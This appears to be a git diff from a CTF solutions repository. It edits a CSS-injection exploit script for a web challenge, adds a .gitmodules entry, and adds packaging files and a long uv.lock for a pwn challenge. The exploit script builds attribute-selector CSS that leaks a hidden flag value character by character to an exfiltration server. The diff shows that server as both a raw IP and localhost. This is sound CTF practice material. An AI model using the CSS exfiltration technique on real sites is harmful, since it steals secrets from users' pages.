diff --git a/.gitmodules b/.gitmodules
new file mode 100644
index 0000000..0450a59
--- /dev/null
+++ b/.gitmodules
@@ -0,0 +1,3 @@
+[submodule "organization/ctfs/h4tum_2025/misc/mosaic"]
+ path = organization/ctfs/h4tum_2025/misc/mosaic
+ url = git@gitlab.lrz.de:h4tum-ctf/h4tum-ctf-2025/mosaic.git
diff --git a/2024/catthegrey/web/beautiful_styles/enumeration.py b/2024/catthegrey/web/beautiful_styles/enumeration.py
index eedbdcd..71b8966 100644
--- a/2024/catthegrey/web/beautiful_styles/enumeration.py
+++ b/2024/catthegrey/web/beautiful_styles/enumeration.py
@@ -6,7 +6,8 @@ from urllib.parse import unquote
chars = string.ascii_uppercase + string.digits + "f"
-url = "http://challs2.nusgreyhats.org:33339"
+url = "http://localhost:33339"
+exfiltrate_server = "http://localhost:8000"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
@@ -21,12 +22,11 @@ class LeakHandler(BaseHTTPRequestHandler):
print("Next round")
leak_char(leaked_password)
-
def generate_css_input(leaked_password):
css_input = ""
for a in chars:
- css_input += f'input[id="flag"][value^="{leaked_password + a}"]{{background-image: url(http://49.12.225.44:8000/{leaked_password + a});}}'
+ css_input += f'input[id="flag"][value^="{leaked_password + a}"]{{background-image: url({exfiltrate_server}/{leaked_password + a});}}'
return css_input
@@ -41,7 +41,7 @@ def leak_char(leaked_password):
if match:
id_value = match.group(1)
print("Found ID:", id_value)
- r = requests.post(f"http://challs2.nusgreyhats.org:33339/judge/{id_value}")
+ r = requests.post(f"{url}/judge/{id_value}")
print(r.text)
else:
print("error")
diff --git a/2024/cscg/pwn/intro-pwn-1/.python-version b/2024/cscg/pwn/intro-pwn-1/.python-version
new file mode 100644
index 0000000..e4fba21
--- /dev/null
+++ b/2024/cscg/pwn/intro-pwn-1/.python-version
@@ -0,0 +1 @@
+3.12
diff --git a/2024/cscg/pwn/intro-pwn-1/Dockerfile b/2024/cscg/pwn/intro-pwn-1/Dockerfile
index 76a8896..dc8b14c 100644
--- a/2024/cscg/pwn/intro-pwn-1/Dockerfile
+++ b/2024/cscg/pwn/intro-pwn-1/Dockerfile
@@ -1,7 +1,7 @@
# docker build -t pwn1 . && docker run -p 1024:1024 --rm -it pwn1
FROM ubuntu:22.04
-COPY pwn1 flag ynetd .
+COPY pwn1 flag ynetd ./
EXPOSE 1024
CMD ./ynetd ./pwn1
diff --git a/2024/cscg/pwn/intro-pwn-1/README.md b/2024/cscg/pwn/intro-pwn-1/README.md
new file mode 100644
index 0000000..e69de29
diff --git a/2024/cscg/pwn/intro-pwn-1/flag b/2024/cscg/pwn/intro-pwn-1/flag
old mode 100755
new mode 100644
diff --git a/2024/cscg/pwn/intro-pwn-1/pyproject.toml b/2024/cscg/pwn/intro-pwn-1/pyproject.toml
new file mode 100644
index 0000000..1c1f29a
--- /dev/null
+++ b/2024/cscg/pwn/intro-pwn-1/pyproject.toml
@@ -0,0 +1,9 @@
+[project]
+name = "intro-pwn-1"
+version = "0.1.0"
+description = "Add your description here"
+readme = "README.md"
+requires-python = ">=3.12"
+dependencies = [
+ "pwntools>=4.14.1",
+]
diff --git a/2024/cscg/pwn/intro-pwn-1/uv.lock b/2024/cscg/pwn/intro-pwn-1/uv.lock
new file mode 100644
index 0000000..8b4a1d4
--- /dev/null
+++ b/2024/cscg/pwn/intro-pwn-1/uv.lock
@@ -0,0 +1,609 @@
+version = 1
+revision = 2
+requires-python = ">=3.12"
+
+[[package]]
+name = "bcrypt"
+version = "4.3.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/bb/5d/6d7433e0f3cd46ce0b43cd65e1db465ea024dbb8216fb2404e919c2ad77b/bcrypt-4.3.0.tar.gz", hash = "sha256:3a3fd2204178b6d2adcf09cb4f6426ffef54762577a7c9b54c159008cb288c18", size = 25697, upload-time = "2025-02-28T01:24:09.174Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/bf/2c/3d44e853d1fe969d229bd58d39ae6902b3d924af0e2b5a60d17d4b809ded/bcrypt-4.3.0-cp313-cp313t-macosx_10_12_universal2.whl", hash = "sha256:f01e060f14b6b57bbb72fc5b4a83ac21c443c9a2ee708e04a10e9192f90a6281", size = 483719, upload-time = "2025-02-28T01:22:34.539Z" },
+ { url = "https://files.pythonhosted.org/packages/a1/e2/58ff6e2a22eca2e2cff5370ae56dba29d70b1ea6fc08ee9115c3ae367795/bcrypt-4.3.0-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c5eeac541cefd0bb887a371ef73c62c3cd78535e4887b310626036a7c0a817bb", size = 272001, upload-time = "2025-02-28T01:22:38.078Z" },
+ { url = "https://files.pythonhosted.org/packages/37/1f/c55ed8dbe994b1d088309e366749633c9eb90d139af3c0a50c102ba68a1a/bcrypt-4.3.0-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:59e1aa0e2cd871b08ca146ed08445038f42ff75968c7ae50d2fdd7860ade2180", size = 277451, upload-time = "2025-02-28T01:22:40.787Z" },
+ { url = "https://files.pythonhosted.org/packages/d7/1c/794feb2ecf22fe73dcfb697ea7057f632061faceb7dcf0f155f3443b4d79/bcrypt-4.3.0-cp313-cp313t-manylinux_2_28_aarch64.whl", hash = "sha256:0042b2e342e9ae3d2ed22727c1262f76cc4f345683b5c1715f0250cf4277294f", size = 272792, upload-time = "2025-02-28T01:22:43.144Z" },
+ { url = "https://files.pythonhosted.org/packages/13/b7/0b289506a3f3598c2ae2bdfa0ea66969812ed200264e3f61df77753eee6d/bcrypt-4.3.0-cp313-cp313t-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:74a8d21a09f5e025a9a23e7c0fd2c7fe8e7503e4d356c0a2c1486ba010619f09", size = 289752, upload-time = "2025-02-28T01:22:45.56Z" },
+ { url = "https://files.pythonhosted.org/packages/dc/24/d0fb023788afe9e83cc118895a9f6c57e1044e7e1672f045e46733421fe6/bcrypt-4.3.0-cp313-cp313t-manylinux_2_28_x86_64.whl", hash = "sha256:0142b2cb84a009f8452c8c5a33ace5e3dfec4159e7735f5afe9a4d50a8ea722d", size = 277762, upload-time = "2025-02-28T01:22:47.023Z" },
+ { url = "https://files.pythonhosted.org/packages/e4/38/cde58089492e55ac4ef6c49fea7027600c84fd23f7520c62118c03b4625e/bcrypt-4.3.0-cp313-cp313t-manylinux_2_34_aarch64.whl", hash = "sha256:12fa6ce40cde3f0b899729dbd7d5e8811cb892d31b6f7d0334a1f37748b789fd", size = 272384, upload-time = "2025-02-28T01:22:49.221Z" },
+ { url = "https://files.pythonhosted.org/packages/de/6a/d5026520843490cfc8135d03012a413e4532a400e471e6188b01b2de853f/bcrypt-4.3.0-cp313-cp313t-manylinux_2_34_x86_64.whl", hash = "sha256:5bd3cca1f2aa5dbcf39e2aa13dd094ea181f48959e1071265de49cc2b82525af", size = 277329, upload-time = "2025-02-28T01:22:51.603Z" },
+ { url = "https://files.pythonhosted.org/packages/b3/a3/4fc5255e60486466c389e28c12579d2829b28a527360e9430b4041df4cf9/bcrypt-4.3.0-cp313-cp313t-musllinux_1_1_aarch64.whl", hash = "sha256:335a420cfd63fc5bc27308e929bee231c15c85cc4c496610ffb17923abf7f231", size = 305241, upload-time = "2025-02-28T01:22:53.283Z" },
+ { url = "https://files.pythonhosted.org/packages/c7/15/2b37bc07d6ce27cc94e5b10fd5058900eb8fb11642300e932c8c82e25c4a/bcrypt-4.3.0-cp313-cp313t-musllinux_1_1_x86_64.whl", hash = "sha256:0e30e5e67aed0187a1764911af023043b4542e70a7461ad20e837e94d23e1d6c", size = 309617, upload-time = "2025-02-28T01:22:55.461Z" },
+ { url = "https://files.pythonhosted.org/packages/5f/1f/99f65edb09e6c935232ba0430c8c13bb98cb3194b6d636e61d93fe60ac59/bcrypt-4.3.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:3b8d62290ebefd49ee0b3ce7500f5dbdcf13b81402c05f6dafab9a1e1b27212f", size = 335751, upload-time = "2025-02-28T01:22:57.81Z" },
+ { url = "https://files.pythonhosted.org/packages/00/1b/b324030c706711c99769988fcb694b3cb23f247ad39a7823a78e361bdbb8/bcrypt-4.3.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:2ef6630e0ec01376f59a006dc72918b1bf436c3b571b80fa1968d775fa02fe7d", size = 355965, upload-time = "2025-02-28T01:22:59.181Z" },
+ { url = "https://files.pythonhosted.org/packages/aa/dd/20372a0579dd915dfc3b1cd4943b3bca431866fcb1dfdfd7518c3caddea6/bcrypt-4.3.0-cp313-cp313t-win32.whl", hash = "sha256:7a4be4cbf241afee43f1c3969b9103a41b40bcb3a3f467ab19f891d9bc4642e4", size = 155316, upload-time = "2025-02-28T01:23:00.763Z" },
+ { url = "https://files.pythonhosted.org/packages/6d/52/45d969fcff6b5577c2bf17098dc36269b4c02197d551371c023130c0f890/bcrypt-4.3.0-cp313-cp313t-win_amd64.whl", hash = "sha256:5c1949bf259a388863ced887c7861da1df681cb2388645766c89fdfd9004c669", size = 147752, upload-time = "2025-02-28T01:23:02.908Z" },
+ { url = "https://files.pythonhosted.org/packages/11/22/5ada0b9af72b60cbc4c9a399fdde4af0feaa609d27eb0adc61607997a3fa/bcrypt-4.3.0-cp38-abi3-macosx_10_12_universal2.whl", hash = "sha256:f81b0ed2639568bf14749112298f9e4e2b28853dab50a8b357e31798686a036d", size = 498019, upload-time = "2025-02-28T01:23:05.838Z" },
+ { url = "https://files.pythonhosted.org/packages/b8/8c/252a1edc598dc1ce57905be173328eda073083826955ee3c97c7ff5ba584/bcrypt-4.3.0-cp38-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:864f8f19adbe13b7de11ba15d85d4a428c7e2f344bac110f667676a0ff84924b", size = 279174, upload-time = "2025-02-28T01:23:07.274Z" },
+ { url = "https://files.pythonhosted.org/packages/29/5b/4547d5c49b85f0337c13929f2ccbe08b7283069eea3550a457914fc078aa/bcrypt-4.3.0-cp38-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3e36506d001e93bffe59754397572f21bb5dc7c83f54454c990c74a468cd589e", size = 283870, upload-time = "2025-02-28T01:23:09.151Z" },
+ { url = "https://files.pythonhosted.org/packages/be/21/7dbaf3fa1745cb63f776bb046e481fbababd7d344c5324eab47f5ca92dd2/bcrypt-4.3.0-cp38-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:842d08d75d9fe9fb94b18b071090220697f9f184d4547179b60734846461ed59", size = 279601, upload-time = "2025-02-28T01:23:11.461Z" },
+ { url = "https://files.pythonhosted.org/packages/6d/64/e042fc8262e971347d9230d9abbe70d68b0a549acd8611c83cebd3eaec67/bcrypt-4.3.0-cp38-abi3-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:7c03296b85cb87db865d91da79bf63d5609284fc0cab9472fdd8367bbd830753", size = 297660, upload-time = "2025-02-28T01:23:12.989Z" },
+ { url = "https://files.pythonhosted.org/packages/50/b8/6294eb84a3fef3b67c69b4470fcdd5326676806bf2519cda79331ab3c3a9/bcrypt-4.3.0-cp38-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:62f26585e8b219cdc909b6a0069efc5e4267e25d4a3770a364ac58024f62a761", size = 284083, upload-time = "2025-02-28T01:23:14.5Z" },
+ { url = "https://files.pythonhosted.org/packages/62/e6/baff635a4f2c42e8788fe1b1633911c38551ecca9a749d1052d296329da6/bcrypt-4.3.0-cp38-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:beeefe437218a65322fbd0069eb437e7c98137e08f22c4660ac2dc795c31f8bb", size = 279237, upload-time = "2025-02-28T01:23:16.686Z" },
+ { url = "https://files.pythonhosted.org/packages/39/48/46f623f1b0c7dc2e5de0b8af5e6f5ac4cc26408ac33f3d424e5ad8da4a90/bcrypt-4.3.0-cp38-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:97eea7408db3a5bcce4a55d13245ab3fa566e23b4c67cd227062bb49e26c585d", size = 283737, upload-time = "2025-02-28T01:23:18.897Z" },
+ { url = "https://files.pythonhosted.org/packages/49/8b/70671c3ce9c0fca4a6cc3cc6ccbaa7e948875a2e62cbd146e04a4011899c/bcrypt-4.3.0-cp38-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:191354ebfe305e84f344c5964c7cd5f924a3bfc5d405c75ad07f232b6dffb49f", size = 312741, upload-time = "2025-02-28T01:23:21.041Z" },
+ { url = "https://files.pythonhosted.org/packages/27/fb/910d3a1caa2d249b6040a5caf9f9866c52114d51523ac2fb47578a27faee/bcrypt-4.3.0-cp38-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:41261d64150858eeb5ff43c753c4b216991e0ae16614a308a15d909503617732", size = 316472, upload-time = "2025-02-28T01:23:23.183Z" },
+ { url = "https://files.pythonhosted.org/packages/dc/cf/7cf3a05b66ce466cfb575dbbda39718d45a609daa78500f57fa9f36fa3c0/bcrypt-4.3.0-cp38-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:33752b1ba962ee793fa2b6321404bf20011fe45b9afd2a842139de3011898fef", size = 343606, upload-time = "2025-02-28T01:23:25.361Z" },
+ { url = "https://files.pythonhosted.org/packages/e3/b8/e970ecc6d7e355c0d892b7f733480f4aa8509f99b33e71550242cf0b7e63/bcrypt-4.3.0-cp38-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:50e6e80a4bfd23a25f5c05b90167c19030cf9f87930f7cb2eacb99f45d1c3304", size = 362867, upload-time = "2025-02-28T01:23:26.875Z" },
+ { url = "https://files.pythonhosted.org/packages/a9/97/8d3118efd8354c555a3422d544163f40d9f236be5b96c714086463f11699/bcrypt-4.3.0-cp38-abi3-win32.whl", hash = "sha256:67a561c4d9fb9465ec866177e7aebcad08fe23aaf6fbd692a6fab69088abfc51", size = 160589, upload-time = "2025-02-28T01:23:28.381Z" },
+ { url = "https://files.pythonhosted.org/packages/29/07/416f0b99f7f3997c69815365babbc2e8754181a4b1899d921b3c7d5b6f12/bcrypt-4.3.0-cp38-abi3-win_amd64.whl", hash = "sha256:584027857bc2843772114717a7490a37f68da563b3620f78a849bcb54dc11e62", size = 152794, upload-time = "2025-02-28T01:23:30.187Z" },
+ { url = "https://files.pythonhosted.org/packages/6e/c1/3fa0e9e4e0bfd3fd77eb8b52ec198fd6e1fd7e9402052e43f23483f956dd/bcrypt-4.3.0-cp39-abi3-macosx_10_12_universal2.whl", hash = "sha256:0d3efb1157edebfd9128e4e46e2ac1a64e0c1fe46fb023158a407c7892b0f8c3", size = 498969, upload-time = "2025-02-28T01:23:31.945Z" },
+ { url = "https://files.pythonhosted.org/packages/ce/d4/755ce19b6743394787fbd7dff6bf271b27ee9b5912a97242e3caf125885b/bcrypt-4.3.0-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:08bacc884fd302b611226c01014eca277d48f0a05187666bca23aac0dad6fe24", size = 279158, upload-time = "2025-02-28T01:23:34.161Z" },
+ { url = "https://files.pythonhosted.org/packages/9b/5d/805ef1a749c965c46b28285dfb5cd272a7ed9fa971f970435a5133250182/bcrypt-4.3.0-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f6746e6fec103fcd509b96bacdfdaa2fbde9a553245dbada284435173a6f1aef", size = 284285, upload-time = "2025-02-28T01:23:35.765Z" },
+ { url = "https://files.pythonhosted.org/packages/ab/2b/698580547a4a4988e415721b71eb45e80c879f0fb04a62da131f45987b96/bcrypt-4.3.0-cp39-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:afe327968aaf13fc143a56a3360cb27d4ad0345e34da12c7290f1b00b8fe9a8b", size = 279583, upload-time = "2025-02-28T01:23:38.021Z" },
+ { url = "https://files.pythonhosted.org/packages/f2/87/62e1e426418204db520f955ffd06f1efd389feca893dad7095bf35612eec/bcrypt-4.3.0-cp39-abi3-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:d9af79d322e735b1fc33404b5765108ae0ff232d4b54666d46730f8ac1a43676", size = 297896, upload-time = "2025-02-28T01:23:39.575Z" },
+ { url = "https://files.pythonhosted.org/packages/cb/c6/8fedca4c2ada1b6e889c52d2943b2f968d3427e5d65f595620ec4c06fa2f/bcrypt-4.3.0-cp39-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:f1e3ffa1365e8702dc48c8b360fef8d7afeca482809c5e45e653af82ccd088c1", size = 284492, upload-time = "2025-02-28T01:23:40.901Z" },
+ { url = "https://files.pythonhosted.org/packages/4d/4d/c43332dcaaddb7710a8ff5269fcccba97ed3c85987ddaa808db084267b9a/bcrypt-4.3.0-cp39-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:3004df1b323d10021fda07a813fd33e0fd57bef0e9a480bb143877f6cba996fe", size = 279213, upload-time = "2025-02-28T01:23:42.653Z" },
+ { url = "https://files.pythonhosted.org/packages/dc/7f/1e36379e169a7df3a14a1c160a49b7b918600a6008de43ff20d479e6f4b5/bcrypt-4.3.0-cp39-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:531457e5c839d8caea9b589a1bcfe3756b0547d7814e9ce3d437f17da75c32b0", size = 284162, upload-time = "2025-02-28T01:23:43.964Z" },
+ { url = "https://files.pythonhosted.org/packages/1c/0a/644b2731194b0d7646f3210dc4d80c7fee3ecb3a1f791a6e0ae6bb8684e3/bcrypt-4.3.0-cp39-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:17a854d9a7a476a89dcef6c8bd119ad23e0f82557afbd2c442777a16408e614f", size = 312856, upload-time = "2025-02-28T01:23:46.011Z" },
+ { url = "https://files.pythonhosted.org/packages/dc/62/2a871837c0bb6ab0c9a88bf54de0fc021a6a08832d4ea313ed92a669d437/bcrypt-4.3.0-cp39-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:6fb1fd3ab08c0cbc6826a2e0447610c6f09e983a281b919ed721ad32236b8b23", size = 316726, upload-time = "2025-02-28T01:23:47.575Z" },
+ { url = "https://files.pythonhosted.org/packages/0c/a1/9898ea3faac0b156d457fd73a3cb9c2855c6fd063e44b8522925cdd8ce46/bcrypt-4.3.0-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:e965a9c1e9a393b8005031ff52583cedc15b7884fce7deb8b0346388837d6cfe", size = 343664, upload-time = "2025-02-28T01:23:49.059Z" },
+ { url = "https://files.pythonhosted.org/packages/40/f2/71b4ed65ce38982ecdda0ff20c3ad1b15e71949c78b2c053df53629ce940/bcrypt-4.3.0-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:79e70b8342a33b52b55d93b3a59223a844962bef479f6a0ea318ebbcadf71505", size = 363128, upload-time = "2025-02-28T01:23:50.399Z" },
+ { url = "https://files.pythonhosted.org/packages/11/99/12f6a58eca6dea4be992d6c681b7ec9410a1d9f5cf368c61437e31daa879/bcrypt-4.3.0-cp39-abi3-win32.whl", hash = "sha256:b4d4e57f0a63fd0b358eb765063ff661328f69a04494427265950c71b992a39a", size = 160598, upload-time = "2025-02-28T01:23:51.775Z" },
+ { url = "https://files.pythonhosted.org/packages/a9/cf/45fb5261ece3e6b9817d3d82b2f343a505fd58674a92577923bc500bd1aa/bcrypt-4.3.0-cp39-abi3-win_amd64.whl", hash = "sha256:e53e074b120f2877a35cc6c736b8eb161377caae8925c17688bd46ba56daaa5b", size = 152799, upload-time = "2025-02-28T01:23:53.139Z" },
+]
+
+[[package]]
+name = "capstone"
+version = "5.0.6"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/d5/b0/1f126035a4cbc6f488b97e4bd57a46a28b6ba29ca8b938cbda840601a18a/capstone-5.0.6.tar.gz", hash = "sha256:b11a87d67751b006b9b44428d59c99512e6d6c89cf7dff8cdd92d9065628b5a0", size = 2945704, upload-time = "2025-03-23T16:03:40.795Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/cd/9a/d9c11e090fa03dfc61a03a57ba44c6a07370f4ac5814f2a5804bfd40ee8b/capstone-5.0.6-py3-none-macosx_10_9_universal2.whl", hash = "sha256:0bca16e1c3ca1b928df6103b3889dcb6df7b05392d75a0b7af3508798148b899", size = 2177082, upload-time = "2025-03-23T16:03:27.815Z" },
+ { url = "https://files.pythonhosted.org/packages/66/28/72a0be2325e6ee459f27cdcd835d3eee6fed5136321b5f7be41b41dc8656/capstone-5.0.6-py3-none-macosx_10_9_x86_64.whl", hash = "sha256:539191906a34ad1c573ec12b787b2caf154ea41175db6ded9def00aea8151099", size = 1180215, upload-time = "2025-03-23T16:03:29.409Z" },
+ { url = "https://files.pythonhosted.org/packages/54/93/7b8fb02661d47a2822d5b640df804ef310417144af02e6db3446f174c4b5/capstone-5.0.6-py3-none-macosx_11_0_arm64.whl", hash = "sha256:e0b87b283905e4fc43635ca04cf26f4a5d9e8375852e5464d38938f3a28c207a", size = 1192757, upload-time = "2025-03-23T16:03:30.966Z" },
+ { url = "https://files.pythonhosted.org/packages/ba/a2/d1bdb7260ade8165182979ea16098ef3a37c01316140511a611e549dbfe3/capstone-5.0.6-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fa7892f0c89455078c18f07d2d309fb07baa53061b8f9a63db1ea00d41a46726", size = 1458413, upload-time = "2025-03-23T16:03:32.04Z" },
+ { url = "https://files.pythonhosted.org/packages/78/7f/ec0687bbe8f6b128f1d41d90ec7cedfd1aaaa4ecb1ae8d334acc7dad8013/capstone-5.0.6-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0358855773100bb91ae6681fabce7299df83156945ba943f6211061a592c54a6", size = 1481605, upload-time = "2025-03-23T16:03:33.526Z" },
+ { url = "https://files.pythonhosted.org/packages/fc/1d/77bb0f79e1dacdfdcc0679c747d9ca24cc621095e09bdb665e7dd0c580ae/capstone-5.0.6-py3-none-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:667d6466dab1522fa5e9659be5cf1aca83e4fc3da7d15d0e5e6047f71fb46c4a", size = 1480730, upload-time = "2025-03-23T16:03:34.601Z" },
+ { url = "https://files.pythonhosted.org/packages/72/63/07437972f68d0b2ba13e1705a6994404c9c961afbadc342c5b6fcf1de652/capstone-5.0.6-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:45c0e25500dd8d283d3b70f2e10cebfec93ab8bdaf6af9a763a0a999b4705891", size = 1457992, upload-time = "2025-03-23T16:03:35.75Z" },
+ { url = "https://files.pythonhosted.org/packages/0c/53/f371e86493a2ae659b5a493c3cc23122974e83a1f53d3a5638d7bb7ac371/capstone-5.0.6-py3-none-musllinux_1_2_i686.whl", hash = "sha256:22f1f2f118f8fa1d1c5c90bca90e75864d55e16349b3c03aaea0e86b4a45d2a9", size = 1484184, upload-time = "2025-03-23T16:03:37.05Z" },
+ { url = "https://files.pythonhosted.org/packages/df/c3/8b842ae32949c3570581164619c2f69001c6d8da566dc2e490372032b0d6/capstone-5.0.6-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:bc23cf634f51d0e53bdd04ea53ccfff7fc9060dfe58dff1e1b260ce40e5538ff", size = 1485357, upload-time = "2025-03-23T16:03:38.133Z" },
+ { url = "https://files.pythonhosted.org/packages/da/72/ff7894c2fb5716d9a3ce9c27ba34b29d991a11d8442d2ef0fcdc5564ba7e/capstone-5.0.6-py3-none-win_amd64.whl", hash = "sha256:761c3deae00b22ac697081cdae1383bb90659dd0d79387a09cf5bdbb22b17064", size = 1271345, upload-time = "2025-03-23T16:03:39.649Z" },
+]
+
+[[package]]
+name = "certifi"
+version = "2025.6.15"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/73/f7/f14b46d4bcd21092d7d3ccef689615220d8a08fb25e564b65d20738e672e/certifi-2025.6.15.tar.gz", hash = "sha256:d747aa5a8b9bbbb1bb8c22bb13e22bd1f18e9796defa16bab421f7f7a317323b", size = 158753, upload-time = "2025-06-15T02:45:51.329Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/84/ae/320161bd181fc06471eed047ecce67b693fd7515b16d495d8932db763426/certifi-2025.6.15-py3-none-any.whl", hash = "sha256:2e0c7ce7cb5d8f8634ca55d2ba7e6ec2689a2fd6537d8dec1296a477a4910057", size = 157650, upload-time = "2025-06-15T02:45:49.977Z" },
+]
+
+[[package]]
+name = "cffi"
+version = "1.17.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "pycparser" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/fc/97/c783634659c2920c3fc70419e3af40972dbaf758daa229a7d6ea6135c90d/cffi-1.17.1.tar.gz", hash = "sha256:1c39c6016c32bc48dd54561950ebd6836e1670f2ae46128f67cf49e789c52824", size = 516621, upload-time = "2024-09-04T20:45:21.852Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/5a/84/e94227139ee5fb4d600a7a4927f322e1d4aea6fdc50bd3fca8493caba23f/cffi-1.17.1-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:805b4371bf7197c329fcb3ead37e710d1bca9da5d583f5073b799d5c5bd1eee4", size = 183178, upload-time = "2024-09-04T20:44:12.232Z" },
+ { url = "https://files.pythonhosted.org/packages/da/ee/fb72c2b48656111c4ef27f0f91da355e130a923473bf5ee75c5643d00cca/cffi-1.17.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:733e99bc2df47476e3848417c5a4540522f234dfd4ef3ab7fafdf555b082ec0c", size = 178840, upload-time = "2024-09-04T20:44:13.739Z" },
+ { url = "https://files.pythonhosted.org/packages/cc/b6/db007700f67d151abadf508cbfd6a1884f57eab90b1bb985c4c8c02b0f28/cffi-1.17.1-cp312-cp312-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1257bdabf294dceb59f5e70c64a3e2f462c30c7ad68092d01bbbfb1c16b1ba36", size = 454803, upload-time = "2024-09-04T20:44:15.231Z" },
+ { url = "https://files.pythonhosted.org/packages/1a/df/f8d151540d8c200eb1c6fba8cd0dfd40904f1b0682ea705c36e6c2e97ab3/cffi-1.17.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:da95af8214998d77a98cc14e3a3bd00aa191526343078b530ceb0bd710fb48a5", size = 478850, upload-time = "2024-09-04T20:44:17.188Z" },
+ { url = "https://files.pythonhosted.org/packages/28/c0/b31116332a547fd2677ae5b78a2ef662dfc8023d67f41b2a83f7c2aa78b1/cffi-1.17.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d63afe322132c194cf832bfec0dc69a99fb9bb6bbd550f161a49e9e855cc78ff", size = 485729, upload-time = "2024-09-04T20:44:18.688Z" },
+ { url = "https://files.pythonhosted.org/packages/91/2b/9a1ddfa5c7f13cab007a2c9cc295b70fbbda7cb10a286aa6810338e60ea1/cffi-1.17.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f79fc4fc25f1c8698ff97788206bb3c2598949bfe0fef03d299eb1b5356ada99", size = 471256, upload-time = "2024-09-04T20:44:20.248Z" },
+ { url = "https://files.pythonhosted.org/packages/b2/d5/da47df7004cb17e4955df6a43d14b3b4ae77737dff8bf7f8f333196717bf/cffi-1.17.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b62ce867176a75d03a665bad002af8e6d54644fad99a3c70905c543130e39d93", size = 479424, upload-time = "2024-09-04T20:44:21.673Z" },
+ { url = "https://files.pythonhosted.org/packages/0b/ac/2a28bcf513e93a219c8a4e8e125534f4f6db03e3179ba1c45e949b76212c/cffi-1.17.1-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:386c8bf53c502fff58903061338ce4f4950cbdcb23e2902d86c0f722b786bbe3", size = 484568, upload-time = "2024-09-04T20:44:23.245Z" },
+ { url = "https://files.pythonhosted.org/packages/d4/38/ca8a4f639065f14ae0f1d9751e70447a261f1a30fa7547a828ae08142465/cffi-1.17.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:4ceb10419a9adf4460ea14cfd6bc43d08701f0835e979bf821052f1805850fe8", size = 488736, upload-time = "2024-09-04T20:44:24.757Z" },
+ { url = "https://files.pythonhosted.org/packages/86/c5/28b2d6f799ec0bdecf44dced2ec5ed43e0eb63097b0f58c293583b406582/cffi-1.17.1-cp312-cp312-win32.whl", hash = "sha256:a08d7e755f8ed21095a310a693525137cfe756ce62d066e53f502a83dc550f65", size = 172448, upload-time = "2024-09-04T20:44:26.208Z" },
+ { url = "https://files.pythonhosted.org/packages/50/b9/db34c4755a7bd1cb2d1603ac3863f22bcecbd1ba29e5ee841a4bc510b294/cffi-1.17.1-cp312-cp312-win_amd64.whl", hash = "sha256:51392eae71afec0d0c8fb1a53b204dbb3bcabcb3c9b807eedf3e1e6ccf2de903", size = 181976, upload-time = "2024-09-04T20:44:27.578Z" },
+ { url = "https://files.pythonhosted.org/packages/8d/f8/dd6c246b148639254dad4d6803eb6a54e8c85c6e11ec9df2cffa87571dbe/cffi-1.17.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:f3a2b4222ce6b60e2e8b337bb9596923045681d71e5a082783484d845390938e", size = 182989, upload-time = "2024-09-04T20:44:28.956Z" },
